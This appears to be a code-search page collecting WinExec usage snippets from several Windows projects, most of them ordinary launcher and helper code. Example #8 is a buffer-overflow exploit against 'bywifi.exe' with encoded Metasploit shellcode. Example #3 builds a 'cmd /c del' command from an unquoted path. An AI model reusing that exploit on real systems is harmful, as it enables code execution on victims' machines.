コード例 #1
1
LRESULT WINAPI 
ReadMailToolbarWndProc(HWND hwnd, 
					   UINT msg, 
					   WPARAM wParam, 
					   LPARAM lParam)
{
	WNDPROC lpOldProc;

	lpOldProc = (WNDPROC)GetProp( hwnd, "oldproc" );
   
	switch(msg)
	{
		case WM_DESTROY:   
		{
			//  Put back old window proc and
			SetWindowLong( hwnd, GWL_WNDPROC, (DWORD)lpOldProc );

			//  remove window property
			RemoveProp( hwnd, "oldproc" ); 
			break;
		}

		case WM_NOTIFY:
		{
			static char szTooltip[256] = {0x00};
			LPTOOLTIPTEXT lpToolTipText = (LPTOOLTIPTEXT) lParam;;

			switch (((LPNMHDR)lParam)->code)
			{
				case TTN_NEEDTEXTA:
				{
					if(lpToolTipText->hdr.idFrom >= IDC_DECRYPT && 
						lpToolTipText->hdr.idFrom <= IDC_MIME )
					{
						int StringId = lpToolTipText->hdr.idFrom -  
										WM_USER - 1000;

						LoadString (g_hinst, 
									StringId,
									szTooltip,
									sizeof(szTooltip));

						lpToolTipText->lpszText = szTooltip;

						if(g_hwndEudoraStatusbar)
						{
							SendMessage(g_hwndEudoraStatusbar,
										SB_SETTEXT,
										(WPARAM)0,
										(LPARAM)szTooltip);
						}
						
						return 0;
					}
				}

				case TTN_NEEDTEXTW:
				{
					static wchar_t wideBuf[256];

					if(lpToolTipText->hdr.idFrom >= IDC_DECRYPT && 
						lpToolTipText->hdr.idFrom <= IDC_MIME )
					{
						int StringId = lpToolTipText->hdr.idFrom - 
										WM_USER - 1000;
					
    					LoadString (g_hinst, 
									StringId,
									szTooltip,
									sizeof(szTooltip));

						MultiByteToWideChar(CP_ACP, 
											MB_PRECOMPOSED, 
											szTooltip, 
											-1, 
											wideBuf, 
											256);

						lpToolTipText->lpszText = (char*)wideBuf;

						if(g_hwndEudoraStatusbar)
						{
							SendMessage(g_hwndEudoraStatusbar,
										SB_SETTEXT,
										(WPARAM)0,
										(LPARAM)szTooltip);
						}

						return 0;
					}
				}
			}
			break;
		}

		case WM_COMMAND:
		{
			HWND hwndParent = NULL;
			HWND hwndRichEdit = NULL;

			switch(wParam)
			{
				case IDC_DECRYPT:
				{
					//char temp[1024];
					char* pRichEditText = NULL;
					long nChar = 0;
					CHARRANGE chRange = {0,0};
					BOOL bMimeMessage = FALSE;
					BOOL bDecryptSuccessful = FALSE;
					BOOL bToggle = FALSE;
					BOOL bSelectedText = FALSE;
					FINDTEXT ftEncrypted;
					FINDTEXT ftSigned;
					long nCharPos = 0;
					HCURSOR hCursor, hOldCursor;
					BOOL FYEO;

					// Find the windows we are interested in...
					hwndParent = GetParent(hwnd);
					hwndRichEdit = FindWindowEx(hwndParent, 
												NULL, 
												"RICHEDIT", 
												NULL);

					// Is the control in Edit Mode
					bToggle = !SendMessage(hwnd, TB_ISBUTTONCHECKED, 34002, 0);

					// See if the user has selected text in the window
					SendMessage(hwndRichEdit,  
								EM_EXGETSEL, 
								(WPARAM)0,
								(LPARAM) 
								&chRange);

					bSelectedText = chRange.cpMax - chRange.cpMin;

					// Prepare to look for our plug-ins
					// Mime Encrypted Text
					ftEncrypted.lpstrText = "<0880.0001>"; // Search String
					ftEncrypted.chrg.cpMin = 0;
					ftEncrypted.chrg.cpMax = -1; // All Text

					// Mime Signed Text
					ftSigned.lpstrText = "<0880.0002>"; // Search String
					ftSigned.chrg.cpMin = 0;
					ftSigned.chrg.cpMax = -1; // All Text
					
					// Lock window so we do not flash
					//LockWindowUpdate( hwndRichEdit ); 

					// if not in edit mode place us there
					if(bToggle)
					{
						SendMessage(hwndParent, WM_COMMAND, 34002, 0);
						SendMessage(hwnd, 
									TB_CHECKBUTTON, 
									34002, 
									MAKELONG(TRUE, 0));
					}

					// This could take awhile... give some feedback.

					hCursor = LoadCursor(NULL, IDC_WAIT);
					hOldCursor = SetCursor(hCursor);

					// get text of message
					pRichEditText = GetRichEditContents (	hwndRichEdit, 
															&nChar, 
															FALSE, 
															bSelectedText);
					
					if(!bSelectedText)
					{
						// see if our mime encrypted text plugin is there
						nCharPos = SendMessage(	hwndRichEdit, 
												EM_FINDTEXT, 
												0,(LPARAM) 
												&ftEncrypted);

						if( nCharPos == -1 )
						{
							// if not see if our mime signed text plugin is 
							// there
							nCharPos = SendMessage(	hwndRichEdit, 
													EM_FINDTEXT, 
													0,
													(LPARAM) &ftSigned);
						}

						// if one of them are there "click" on the plugin
						if( nCharPos != -1 )
						{
							POINT pt;

							//MessageBox(NULL, "Click!!", "Decrypt", MB_OK);

							bMimeMessage = TRUE;

							SendMessage(hwndRichEdit, 
								EM_POSFROMCHAR, 
								(WPARAM) &pt,
								(LPARAM) nCharPos);

							SendMessage(hwndRichEdit, 
								WM_LBUTTONDOWN, 
								MK_LBUTTON, 
								MAKELPARAM(pt.x + 2, pt.y + 2));

							SendMessage(hwndRichEdit, 
								WM_LBUTTONUP, 
								MK_LBUTTON, 
								MAKELPARAM(pt.x + 2, pt.y + 2));

							SendMessage(hwndRichEdit, 
								WM_LBUTTONDBLCLK, 
								MK_LBUTTON, 
								MAKELPARAM(pt.x + 2, pt.y + 2));
						}
						else
						{
							// if we were not in edit mode take ourselves 
							// out of edit mode
							if(bToggle)
							{
								SendMessage(hwndParent, WM_COMMAND, 34002, 0);
								SendMessage(hwnd, 
									TB_CHECKBUTTON, 
									34002, 
									MAKELONG(FALSE, 0));
							}
						}
					}

					// Let the window update itself
					//LockWindowUpdate( NULL ); 

					// if it was not a mime message then see if there is 
					// any "classic" pgp text
					if( !bMimeMessage && pRichEditText )//<0880.0004>
					{
						// Decrypt Text
						bDecryptSuccessful = DecryptVerifyRichEditText(
												&pRichEditText, 
												&nChar, &FYEO);

						if( bDecryptSuccessful )
						{
							// put it in edit mode so they have to explicitly 
							// save it as cleartext
							// if there was a MIME message we are already in 
							// edit mode

							if((FYEO)||(GetSecureViewerPref(g_pgpContext)))
							{
								TempestViewer((void *)g_pgpContext,hwnd,
									pRichEditText,nChar,FYEO);
							}
							else
							{
								if(bToggle && !bMimeMessage)
								{
									SendMessage(hwndParent, 
										WM_COMMAND, 
										34002, 
										0);
									SendMessage(hwnd, 
										TB_CHECKBUTTON, 
										34002, 
										MAKELONG(TRUE, 0));
								}

								SetRichEditContents (hwndRichEdit, 
									pRichEditText,
									FALSE, 
									bSelectedText);
							
							//MessageBox(NULL, "huh?", "Decrypt", MB_OK);
							}
						}
					}

					if( pRichEditText )
					{
						// clean up after ourselves
						HeapFree(GetProcessHeap(), 0, pRichEditText);
					}

					SetCursor(hOldCursor);
					break;
				}

				case IDC_KEYMGR:
				{
					char szPath[MAX_PATH];
					char szPGPkeys[256];
					PGPError error = kPGPError_NoErr;

					LoadString(g_hinst, IDS_PGPKEYSEXE, szPGPkeys,
						sizeof(szPGPkeys));

					error = PGPclGetPGPPath (szPath, sizeof(szPath));

					if( IsntPGPError(error) )
					{
						// '/s' keeps it from showing that 
						// damn splash screen
						strcat(szPath, szPGPkeys);
						// run it...
						WinExec(szPath, SW_SHOW);
					}
					else
					{
						char szError[256];

						LoadString(g_hinst, IDS_E_LAUNCHPGPKEYS, szError,
							sizeof(szError));

						MessageBox(NULL, 
							szError, 
							0, 
							MB_OK);
					}
					
					break;
				}
			}
		}
	} 
	
	//  Pass all non-custom messages to old window proc
	return CallWindowProc(lpOldProc, hwnd, msg, wParam, lParam ) ;
}
コード例 #2
0
ファイル: gretlwin32.c プロジェクト: HelioGuilherme66/gretl
static int win32_open_arg (const char *arg, char *ext)
{
    int err = 0;

    if ((ptrcast) ShellExecute(NULL, "open", arg, NULL, NULL, SW_SHOW) <= 32) {
	/* if the above fails, try via the registry */
	char *exe = get_exe_for_type(ext);

	if (exe == NULL) {
	    err = 1;
	} else {
	    gchar *cmd;

	    cmd = g_strdup_printf("\"%s\" \"%s\"", exe, arg);
	    if (WinExec(cmd, SW_SHOW) < 32) {
		err = 1;
	    }
	    g_free(cmd);
	    free(exe);
	}
    }

    return err;
}
コード例 #3
0
bool FileUtils::removeFile(const std::string &path)
{
    // Remove downloaded file

#if (CC_TARGET_PLATFORM == CC_PLATFORM_WP8) || (CC_TARGET_PLATFORM == CC_PLATFORM_WINRT)
    std::wstring wpath(path.begin(), path.end());
    if (DeleteFile(wpath.c_str()))
	{
		return true;
	}
	return false;
#elif (CC_TARGET_PLATFORM == CC_PLATFORM_WIN32)
	std::string command = "cmd /c del /q ";
	std::string win32path = path;
	int len = win32path.length();
	for (int i = 0; i < len; ++i)
	{
		if (win32path[i] == '/')
		{
			win32path[i] = '\\';
		}
	}
	command += win32path;

	if (WinExec(command.c_str(), SW_HIDE) > 31)
		return true;
	else
		return false;
#else
    if (remove(path.c_str())) {
        return false;
    } else {
        return true;
    }
#endif
}
コード例 #4
0
ファイル: HyperLink.cpp プロジェクト: jjayne/nSIGHTS
HINSTANCE CHyperLink::GotoURL(LPCTSTR szUrl, int nShowCmd)
{
   TCHAR key[MAX_PATH + MAX_PATH];

    // First try ShellExecute()
    HINSTANCE result = ShellExecute(NULL, _T("open"), szUrl, NULL,NULL, nShowCmd);

    // If it failed, get the .htm regkey and lookup the program
    if ((UINT)result <= HINSTANCE_ERROR)
    {
        if (GetRegKey(HKEY_CLASSES_ROOT, _T(".htm"), key, MAX_PATH + MAX_PATH) == ERROR_SUCCESS)
        {
            lstrcat(key, _T("\\shell\\open\\command"));

            if (GetRegKey(HKEY_CLASSES_ROOT,key,key, MAX_PATH + MAX_PATH) == ERROR_SUCCESS)
            {
                 TCHAR *pos;
                 pos = _tcsstr(key, _T("\"%1\""));
                 if (pos == NULL) {                     // No quotes found
                      pos = strstr(key, _T("%1"));       // Check for %1, without quotes
                      if (pos == NULL)                   // No parameter at all...
                            pos = key+StringLength(key)-1;
                      else
                            *pos = '\0';                   // Remove the parameter
                 } else {
                      *pos = '\0';                       // Remove the parameter
                 }

                 lstrcat(pos, _T(" "));
                 lstrcat(pos, szUrl);
                 result = (HINSTANCE) WinExec(key,nShowCmd);
            }
        }
    }
    return result;
}
コード例 #5
0
ファイル: HLink.cpp プロジェクト: haokeyy/fahister
HINSTANCE CHLink::GotoURL(LPCTSTR url, int showcmd)
{
    TCHAR key[MAX_PATH + MAX_PATH];

    HINSTANCE result = ShellExecute(NULL, _T("open"), url, NULL,NULL, showcmd);

    if ((UINT)result <= HINSTANCE_ERROR) 
    {
        if (GetRegKey(HKEY_CLASSES_ROOT, _T(".htm"), key) == ERROR_SUCCESS) 
        {
            lstrcat(key, _T("\shell\open\command"));
            if (GetRegKey(HKEY_CLASSES_ROOT,key,key) == ERROR_SUCCESS)
            {

                TCHAR *pos;

                pos = _tcsstr(key, _T("%1"));

                if (pos == NULL)
                {
                    pos = strstr(key, _T("%1"));

                    if (pos == NULL)
                        pos = key+lstrlen(key)-1;
                    else
                        *pos = '0';
                }
                else
                    *pos = '0'; // Remove the parameter

                lstrcat(pos, _T(" "));
                lstrcat(pos, url);
                result = (HINSTANCE) WinExec(key,showcmd);
            }
        }
    }
コード例 #6
0
void CCatchScreenDlg::OnLButtonDblClk(UINT nFlags, CPoint point) 
{
	// TODO: Add your message handler code here and/or call default
	int nHitTest;
	nHitTest=m_rectTracker.HitTest(point);
	
	if(nHitTest==8)
	{
		char szTempPath[MAX_PATH]={0} ;
		char filename[1024]={0} ;
       	GetTempPath(sizeof(szTempPath), szTempPath) ;
		sprintf(filename, "%s/snapscreen.bmp" , szTempPath ) ;
		SaveBitmapToFile(CopyScreenToBitmap(m_rectTracker.m_rect,TRUE) , filename) ;
		
		if( atoi(__argv[1]) )
		{
			char szCmd[1024]={0} ;
			sprintf(szCmd,"mspaint.exe %s" , filename) ;
			WinExec(szCmd,1) ;
		}
		PostQuitMessage(0);
	}
	CDialog::OnLButtonDblClk(nFlags, point);
}
コード例 #7
0
ファイル: NodeFormUnit.cpp プロジェクト: K6BSD/SBBSUnstable
void __fastcall TNodeForm::ChatButtonClick(TObject *Sender)
{
    char    str[512];
    char    name[128];
    int     i;
    node_t  node;

    for(i=0;i<ListBox->Items->Count;i++)
    	if(ListBox->Selected[i]==true) {
        	if(getnodedat(i+1,&node,NULL))
                break;
            if(node.status==NODE_WFC || node.status>NODE_QUIET)
                continue;
            sprintf(str,"%sCHAT %s %s %d %s"
                ,MainForm->cfg.exec_dir
                ,MainForm->cfg.ctrl_dir
                ,MainForm->cfg.node_path[i]
                ,i+1
                ,username(node.useron,name)
                );
            WinExec(str,SW_SHOWNORMAL);
        }
    TimerTick(Sender);
}
コード例 #8
0
int main()
{
//file name
char exploit[700]="bywifi.exe "; 
//ret addr
char ret[] = "x5D\x38\x82\x7C";
//junk data
char overflow[260];
for(int i=0;i<260;i++){
overflow[i]=0x41;
}
/*
* windows/exec - 144 bytes
* http://www.metasploit.com
* Encoder: x86/shikata_ga_nai
* EXITFUNC=process, CMD=calc
*/
char shellcode[] =
"\xbf\xdb\xf9\x8c\x6d\x31\xc9\xb1\x1e\xda\xcd\xd9\x74\x24\xf4"
"\x58\x31\x78\x0f\x03\x78\x0f\x83\xe8\x27\x1b\x79\x91\x3f\x98"
"\x82\x6a\xbf\xaa\xc6\x56\x34\xd0\xcd\xde\x4b\xc6\x45\x51\x53"
"\x93\x05\x4e\x62\x48\xf0\x05\x50\x05\x02\xf4\xa9\xd9\x9c\xa4"
"\x4d\x19\xea\xb3\x8c\x50\x1e\xbd\xcc\x8e\xd5\x86\x84\x74\x12"
"\x8c\xc1\xfe\x45\x4a\x08\xea\x1c\x19\x06\xa7\x6b\x42\x0a\x36"
"\x87\xf6\x2e\xb3\x56\xe2\xc7\x9f\x7c\xf0\x14\x40\x4c\x0e\xfa"
"\x29\xca\x65\xbc\xe5\x99\x3a\x4c\x8d\xee\xa6\xe1\x1a\x66\xdf"
"\x70\xe4\xf4\x1f\xe8\x45\x93\x6f\x66\x61\x3c\xf8\xee\x94\x48"
"\xf6\x59\x96\xaa\x64\x04\x04\x56\x6b";
printf("Exploiting ......\n");
strcat(exploit, overflow);
strcat(exploit, ret);
strcat(exploit, shellcode);
WinExec(exploit,0);
printf("Exploitation Finished\n");
return 0;
}
コード例 #9
0
ファイル: GotoURL.cpp プロジェクト: Highlogic/stepmania-event
bool GotoURL( RString sUrl )
{
	// First try ShellExecute()
	int iRet = (int) ShellExecute( NULL, "open", sUrl, NULL, NULL, SW_SHOWDEFAULT );

	// If it failed, get the .htm regkey and lookup the program
	if( iRet > 32 )
		return true;

	char key[2*MAX_PATH];
	if( GetRegKey(HKEY_CLASSES_ROOT, ".htm", key) != ERROR_SUCCESS )
		return false;

	strcpy( key, "\\shell\\open\\command" );

	if( GetRegKey(HKEY_CLASSES_ROOT, key, key) != ERROR_SUCCESS )
		return false;

	char *szPos = strstr( key, "\"%1\"" );
	if( szPos == NULL )
	{
		// No quotes found. Check for %1 without quotes
		szPos = strstr( key, "%1" );
		if( szPos == NULL )
			szPos = key+lstrlen(key)-1;	// No parameter.
		else
			*szPos = '\0';	// Remove the parameter
	}
	else
		*szPos = '\0';	// Remove the parameter

	strcat( szPos, " " );
	strcat( szPos, sUrl );

	return WinExec( key, SW_SHOWDEFAULT ) > 32;
}
コード例 #10
0
ファイル: fginstDlg.cpp プロジェクト: big3k/oneway
void CFginstDlg::OnTimer(UINT nIDEvent)
{
#ifdef _DEBUG
// 	if(101 == nIDEvent){
// 		//Test network
// 		KillTimer(nIDEvent);
//
// 		CString config_host;
// 		INTERNET_PORT config_port;
// 		CString config_obj;
// 		DWORD service;
// 		if (!AfxParseURL("http://wikifortio.com/414870/", service, config_host, config_obj, config_port))
// 			return ;
//
// 		char* buf;
// 		int bufLen;
// 		DWORD code;
// 		unsigned long fsize = 0;
//
// 		CString csNewURL = "";
// 		if (!DownloadUrl_wiki(config_host, config_port, config_obj, csNewURL, FileDownloadCookie)) {
// 			FileDownloadCookie = "";
// 			return ;
// 		}
//
// 		if (!AfxParseURL(csNewURL, service, config_host, config_obj, config_port))
// 			return ;
//
// 		fsize = 0;
// 		BOOL re = MDownloadUrl(config_host, config_port, config_obj, fsize,  "c:\\111.zip", 5);
//
//
// 	}
#endif

    if(1 == nIDEvent) {
        //Test network
        KillTimer(nIDEvent);
        if(GetNetworkTime()) {
            ShowText("下载中,请稍候...");
            AfxBeginThread(_DownloadThread, this);
            SetTimer(2, 200, NULL);
        } else {
            ShowText("网络错误,请稍后重试。");
        }
    }

    if (2 == nIDEvent) {
        long FielLength = DownloadRange.DownloadRangeFileInfo.nFileLength;
        if(FielLength > 0) {
            long FinshedLength = 0;
            for(int i=0; i<MAXBLOCKNUMBER; i++) {
                FinshedLength += DownloadRange.DownloadRangeFileInfo.nFinishedLength[i];
            }

            CString str;
            str.Format("%d%%", FinshedLength * 100 / FielLength);
            SetDlgItemText(IDC_PROGRESS_TEXT, str);
            m_Progress.SetPos(FinshedLength * 100 / FielLength);
            if(FinshedLength  == FielLength) {
                KillTimer(2);
                ShowText("下载完成,文件处理中...");
            }
        }
    }

    if(3 == nIDEvent) { // OK
        KillTimer(nIDEvent);
        ShowText("下载成功!文件在你的桌面上。");
        CString str;
        str.Format("下载成功,文件位置为: %s。请问立即执行该软件吗?", sFilePath);
        if(MessageBox(str, "提示", MB_ICONQUESTION|MB_YESNO) == IDYES) {
            WinExec(sFilePath, SW_SHOW);
        }
    }

    if(4 == nIDEvent) { //FAIL
        KillTimer(nIDEvent);
        ShowText("下载失败,请重试。");
    }

    if (5 == nIDEvent) {
        long FielLength = DownloadRange.DownloadRangeFileInfo.nFileLength;
        if(FielLength > 0) {
            long FinshedLength = 0;
            for(int i=0; i<MAXBLOCKNUMBER; i++) {
                FinshedLength += DownloadRange.DownloadRangeFileInfo.nFinishedLength[i];
            }

            CString str;
            str.Format("%d%%", FinshedLength * 100 / FielLength);
            SetDlgItemText(IDC_PROGRESS_TEXT, str);
            m_Progress.SetPos(FinshedLength * 100 / FielLength);
        }
    }

    if(9 == nIDEvent) {
        KillTimer(nIDEvent);
        DownloadRange.DownloadRangeFileInfo.nFileLength = 0;
        SetDlgItemText(IDC_PROGRESS_TEXT, "0%");
        m_Progress.SetPos(0);
    }

    CDialog::OnTimer(nIDEvent);
}
コード例 #11
0
int
main (int argc, char *argv[])
{
    char    psBuffer[BUFFER_SIZE];
    char    psGnuplotCommandLine[MAX_PATH] = PROGNAME;
    LPTSTR  psCmdLine;
    BOOL    bSuccess;
    BOOL    bPersist = FALSE;
    int	i;

#if !defined(_O_BINARY) && defined(O_BINARY)
# define _O_BINARY O_BINARY
# define _setmode setmode /* this is for BC4.5 ... */
#endif
    _setmode(fileno(stdout), _O_BINARY);

    for (i = 1; i < argc; i++) {
	if (!argv[i])
	    continue;
	if (!strcmp(argv[i], "-V") || !strcmp(argv[i], "--version")) {
	    printf("gnuplot %s patchlevel %s\n",
		   gnuplot_version, gnuplot_patchlevel);
	    return 0;
	} else if ((!stricmp(argv[i], "-noend")) || (!stricmp(argv[i], "/noend")) || 
		   (!stricmp(argv[i], "-persist"))) {
	    bPersist = TRUE;
	} else if (!strcmp(argv[i], "-h") || !strcmp(argv[i], "--help")) {
	    printf("Usage: gnuplot [OPTION] [FILE] [-]\n"
		    "  -V, --version   show gnuplot version\n"
		    "  -h, --help      show this help\n"
		    "  -persist        don't close the plot after executing FILE\n"
		    "  -noend, /noend  like -persist (non-portable Windows-only options)\n"
		    "  -               allow work in interactive mode after executing FILE\n"
		    "Only on Windows, -persist and - have the same effect.\n"
		    "This is gnuplot %s patchlevel %s\n"
		    "Report bugs to <*****@*****.**>\n",
		    gnuplot_version, gnuplot_patchlevel);
	    return 0;
	}
    } /* for(argc) */

    /* CRS: create the new command line, passing all of the command
     * line options to wgnuplot so that it can process them:
     * first, get the command line,
     * then move past the name of the program (e.g., 'pgnuplot'),
     * finally, add what's left of the line onto the gnuplot command line. */
    psCmdLine = GetCommandLine();

#ifdef SHOWCMDLINE
    fprintf(stderr,"CmdLine: %s\n", psCmdLine);
    fprintf(stderr,"argv[0]: %s\n",argv[0]);
#endif

    /* CRS 30061999: Search for the first unquoted space. This should
       separate the program name from the arguments. */
    psCmdLine = FindUnquotedSpace(psCmdLine);

    strncat(psGnuplotCommandLine, psCmdLine, MAX_PATH - strlen(psGnuplotCommandLine));

#ifdef SHOWCMDLINE
    fprintf(stderr,"Arguments: %s\n", psCmdLine);
    fprintf(stderr,"GnuplotCommandLine: %s\n",psGnuplotCommandLine);
#endif

    /* CRS: if stdin isn't redirected then just launch wgnuplot normally
     * and exit. */
    if (isatty(fileno(stdin))) {
	if (WinExec(psGnuplotCommandLine, SW_SHOWDEFAULT) > 31) {
	    exit(EXIT_SUCCESS);
	}
	fprintf(stderr,"ERROR %u: Couldn't execute: \"%s\"\n",
		GetLastError(), psGnuplotCommandLine);
	exit(EXIT_FAILURE);
    }

    /* CRS: initialize the STARTUPINFO and call CreateProcess(). */
    siStartInfo.cb = sizeof(STARTUPINFO);
    siStartInfo.lpReserved = NULL;
    siStartInfo.lpReserved2 = NULL;
    siStartInfo.cbReserved2 = 0;
    siStartInfo.lpDesktop = NULL;
    siStartInfo.dwFlags = STARTF_USESHOWWINDOW;
    siStartInfo.wShowWindow = SW_SHOWMINIMIZED;

    bSuccess = CreateProcess(
			     NULL,                   /* pointer to name of executable module   */
			     psGnuplotCommandLine,   /* pointer to command line string         */
			     NULL,                   /* pointer to process security attributes */
			     NULL,                   /* pointer to thread security attributes  */
			     FALSE,                  /* handle inheritance flag                */
			     0,                      /* creation flags                         */
			     NULL,                   /* pointer to new environment block       */
			     NULL,                   /* pointer to current directory name      */
			     &siStartInfo,           /* pointer to STARTUPINFO                 */
			     &piProcInfo             /* pointer to PROCESS_INFORMATION         */
			     );

    /* if CreateProcess() failed, print a warning and exit. */
    if (! bSuccess) {
	fprintf(stderr,"ERROR %u: Couldn't execute: \"%s\"\n",
		GetLastError(), psGnuplotCommandLine);
	exit(EXIT_FAILURE);
    }

    /* CRS: give gnuplot enough time to start (1 sec.) */
    if (WaitForInputIdle(piProcInfo.hProcess, 1000)) {
	fprintf(stderr, "Timeout: gnuplot is not ready\n");
	exit(EXIT_FAILURE);
    }

    /* CRS: get the HWND of the parent window and text windows */
    EnumThreadWindows(piProcInfo.dwThreadId, cbGetTextWindow, 0);

    /* CRS: free the process and thread handles */
    CloseHandle(piProcInfo.hProcess);
    CloseHandle(piProcInfo.hThread);

    if (! hwndParent || ! hwndText) {
	/* Still no gnuplot window? Problem! */
	fprintf(stderr, "Can't find the gnuplot window");
	exit(EXIT_FAILURE);
    }

    /* wait for commands on stdin, and pass them on to the wgnuplot text
     * window */
    while (fgets(psBuffer, BUFFER_SIZE, stdin) != NULL) {
	PostString(hwndText, psBuffer);
    }

    /* exit gracefully, unless -persist is requested */
    if (!bPersist) {
	/* CRS: Add a test to see if gnuplot is still running? */
	PostString(hwndText, "\nexit\n");
    }

    return EXIT_SUCCESS;
}
コード例 #12
0
ファイル: PuzMain.cpp プロジェクト: teadrinker95/khai
// выбор в меню Справка команды О программе
void __fastcall TForm1::N4Click(TObject *Sender)
{
    WinExec("hh.exe -mapid 3 puzzle.chm", SW_RESTORE);

}
コード例 #13
0
ファイル: screensaver.c プロジェクト: Moteesh/reactos
INT_PTR CALLBACK
ScreenSaverPageProc(HWND hwndDlg,
                    UINT uMsg,
                    WPARAM wParam,
                    LPARAM lParam)
{
    PDATA pData;

    pData = (PDATA)GetWindowLongPtr(hwndDlg, DWLP_USER);

    switch (uMsg)
    {
        case WM_INITDIALOG:
        {
            OnInitDialog(hwndDlg, pData);
            break;
        }

        case WM_DESTROY:
        {
            if (pData->PrevWindowPi.hProcess)
            {
                TerminateProcess(pData->PrevWindowPi.hProcess, 0);
                CloseHandle(pData->PrevWindowPi.hProcess);
                CloseHandle(pData->PrevWindowPi.hThread);
            }
            HeapFree(GetProcessHeap(),
                     0,
                     pData);
            break;
        }

        case WM_ENDSESSION:
        {
            SetScreenSaverPreviewBox(hwndDlg,
                                     pData);
            break;
        }

        case WM_COMMAND:
        {
            DWORD controlId = LOWORD(wParam);
            DWORD command   = HIWORD(wParam);

            switch (controlId)
            {
                case IDC_SCREENS_LIST:
                {
                    if (HIWORD(wParam) == CBN_SELCHANGE)
                    {
                        SelectionChanged(hwndDlg, pData);
                        SetScreenSaverPreviewBox(hwndDlg, pData);
                        PropSheet_Changed(GetParent(hwndDlg), hwndDlg);
                    }
                    break;
                }

                case IDC_SCREENS_TIMEDELAY:
                {
                    PropSheet_Changed(GetParent(hwndDlg), hwndDlg);
                    break;
                }

                case IDC_SCREENS_POWER_BUTTON: // Start Powercfg.Cpl
                {
                    if (command == BN_CLICKED)
                        WinExec("rundll32 shell32.dll,Control_RunDLL powercfg.cpl",SW_SHOWNORMAL);
                    break;
                }

                case IDC_SCREENS_TESTSC: // Screensaver Preview
                {
                    if (command == BN_CLICKED)
                    {
                        ScreensaverPreview(hwndDlg, pData);
                        SetScreenSaverPreviewBox(hwndDlg, pData);
                    }
                    break;
                }

                case IDC_SCREENS_SETTINGS: // Screensaver Settings
                {
                    if (command == BN_CLICKED)
                        ScreensaverConfig(hwndDlg, pData);
                    break;
                }

                case IDC_SCREENS_USEPASSCHK: // Screensaver Is Secure
                {
                    if (command == BN_CLICKED)
                    {
                        PropSheet_Changed(GetParent(hwndDlg), hwndDlg);
                    }
                    break;
                }
            }
            break;
        }

        case WM_NOTIFY:
        {
            LPNMHDR lpnm = (LPNMHDR)lParam;

            switch(lpnm->code)
            {
                case PSN_APPLY:
                {
                    SetScreenSaver(hwndDlg, pData);
                    return TRUE;
                }

                case PSN_SETACTIVE:
                {
                    /* Enable screensaver preview support */
                    SetScreenSaverPreviewBox(hwndDlg, pData);
                    break;
                }

                case PSN_KILLACTIVE:
                {
                    /* Kill running preview screensaver */
                    if (pData->PrevWindowPi.hProcess)
                    {
                        TerminateProcess(pData->PrevWindowPi.hProcess, 0);
                        CloseHandle(pData->PrevWindowPi.hProcess);
                        CloseHandle(pData->PrevWindowPi.hThread);
                        pData->PrevWindowPi.hThread = pData->PrevWindowPi.hProcess = NULL;
                    }
                    break;
                }
            }
        }
        break;
    }

    return FALSE;
}
コード例 #14
0
ファイル: RunMenu.cpp プロジェクト: ems/TMS
//
//  Run | MapInfo
//
void CTMSApp::OnRunMapinfo()
{
/*
//
//  Special section to correct order of magnitude problem at MCT
//
//  Kept here in case needed in future
//
  union
  {
    char String[4];
    long Integer;
  } LLEN;

  int rcode2;
  
  rcode2 = btrieve(B_GETFIRST, TMS_NODES, &NODES, &NODESKey0, 0);
  while(rcode2 == 0)
  {
    memcpy(&LLEN.String, &NODES.longitude, 4);
    LLEN.Integer /= 10;
    memcpy(&NODES.longitude, &LLEN.String, 4);
    memcpy(&LLEN.String, &NODES.latitude, 4);
    LLEN.Integer /= 10;
    memcpy(&NODES.latitude, &LLEN.String, 4);
    btrieve(B_UPDATE, TMS_NODES, &NODES, &NODESKey0, 0);
    rcode2 = btrieve(B_GETNEXT, TMS_NODES, &NODES, &NODESKey0, 0);
  }
  MessageBox("Done Conversion!", TMS, MB_OK);
//
//  End of special section
//
*/

/*
//
//  Special section to chop out some TIMECHEK records from DASH
//
  int rcode2;

  rcode2 = btrieve(B_GETFIRST, TMS_TIMECHECKS, &TIMECHECKS, &TIMECHECKSKey0, 0);
  while(rcode2 == 0)
  {
    if(TIMECHECKS.checkDate < 20040701)
    {
      btrieve(B_DELETE, TMS_TIMECHECKS, &TIMECHECKS, &TIMECHECKSKey0, 0);
    }
    rcode2 = btrieve(B_GETNEXT, TMS_TIMECHECKS, &TIMECHECKS, &TIMECHECKSKey0, 0);
  }
//
//  End of special section
//
*/

  UINT nRC;

  strcpy(tempString, szMappingProgram);
  strcat(tempString, " \"");
  strcat(tempString, szInstallDirectory);
  strcat(tempString, "\\TMS32.MBX\"");
  nRC = WinExec((LPSTR)tempString, SW_SHOW);
  if(nRC == 2 || nRC == 3)
    TMSError(NULL, MB_ICONSTOP, ERROR_096, (HANDLE)NULL);

  return;
}
コード例 #15
0
void spectate(QString link){
    ZString str(link);

    QList<QString> data = str.exec(URL_REGEXP);

    if(data.count() > 1){
        return;
    }

    QDir().mkdir(PROJECT_FOLDER);

    QFile file(SCRIPT_PATH);
    if (file.open(QIODevice::WriteOnly | QIODevice::Text)){
        QTextStream out(&file);

        //create script (OP.GG)
        out << QString("setlocal enabledelayedexpansion\n");
        out << QString("set RADS_PATH=\n");
        out << QString("FOR /f \"usebackq skip=2 tokens=3,4,5,6,7,8,9\" %%i in (`%systemroot%\\system32\\REG.EXE QUERY \"HKCU\\SOFTWARE\\RIOT GAMES\\RADS\" /v \"LOCALROOTFOLDER\"`) DO  (\n");
        out << QString("	SET RADS_PATH=%%i %%j %%k %%l %%m %%n %%o\n");
        out << QString("	goto runApp\n");
        out << QString(")\n");
        out << QString("FOR /f \"usebackq skip=2 tokens=3,4,5,6,7,8,9\" %%i in (`%systemroot%\\system32\\REG.EXE QUERY \"HKCU\\SOFTWARE\\Classes\\VirtualStore\\MACHINE\\SOFTWARE\\Wow6432Node\\RIOT GAMES\\RADS\" /v \"LOCALROOTFOLDER\"`) DO (\n");
        out << QString("	SET RADS_PATH=%%i %%j %%k %%l %%m %%n %%o\n");
        out << QString("	goto runApp\n");
        out << QString(")\n");
        out << QString("FOR /f \"usebackq skip=2 tokens=3,4,5,6,7,8,9\" %%i in (`%systemroot%\\system32\\REG.EXE QUERY \"HKCU\\SOFTWARE\\Classes\\VirtualStore\\MACHINE\\SOFTWARE\\RIOT GAMES\\RADS\" /v \"LOCALROOTFOLDER\"`) DO (\n");
        out << QString("	SET RADS_PATH=%%i %%j %%k %%l %%m %%n %%o\n");
        out << QString("	goto runApp\n");
        out << QString(")\n");
